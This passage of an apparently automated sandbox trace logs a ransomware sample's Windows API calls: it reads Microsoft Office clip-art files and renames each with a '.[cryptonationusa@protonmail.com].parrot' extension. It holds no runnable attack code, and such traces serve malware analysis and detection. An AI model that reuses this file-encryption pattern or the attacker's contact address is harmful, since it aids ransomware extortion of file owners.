out: hHeap=0x5b0000) returned 1 [0162.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.539] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.541] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1232, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1232, lpOverlapped=0x0) returned 1 [0162.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.547] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.547] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.548] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11b6, lpOverlapped=0x0) returned 1 [0162.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.555] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.555] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x158c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x158c, lpOverlapped=0x0) returned 1 [0162.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0162.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.559] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.560] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xed0, lpOverlapped=0x0) returned 1 [0162.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0162.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.565] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.567] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.567] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ffa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ffa, lpOverlapped=0x0) returned 1 [0162.569] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.607] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.607] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.609] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4dc6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4dc6, lpOverlapped=0x0) returned 1 [0162.612] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.618] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.618] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.619] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.619] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62e3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62e3, lpOverlapped=0x0) returned 1 [0162.623] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.627] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.627] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.629] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7876, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7876, lpOverlapped=0x0) returned 1 [0162.632] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.635] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0162.641] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.641] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.654] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.655] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30e4, lpOverlapped=0x0) returned 1 [0162.657] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.664] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.664] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.665] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.665] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2448, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2448, lpOverlapped=0x0) returned 1 [0162.667] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.672] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.672] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.674] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.674] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a12, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a12, lpOverlapped=0x0) returned 1 [0162.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.680] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.680] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.681] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.682] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x958c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x958c, lpOverlapped=0x0) returned 1 [0162.684] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.687] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22780d0 | out: hHeap=0x5b0000) returned 1 [0162.689] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.689] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.690] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.691] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3452, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3452, lpOverlapped=0x0) returned 1 [0162.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.698] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0162.700] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.700] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.702] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9e0, lpOverlapped=0x0) returned 1 [0162.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0162.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0162.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0162.704] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0162.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0162.706] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0162.707] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.707] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9d0, lpOverlapped=0x0) returned 1 [0162.708] SetFilePointerEx (in: hFile=0x284, 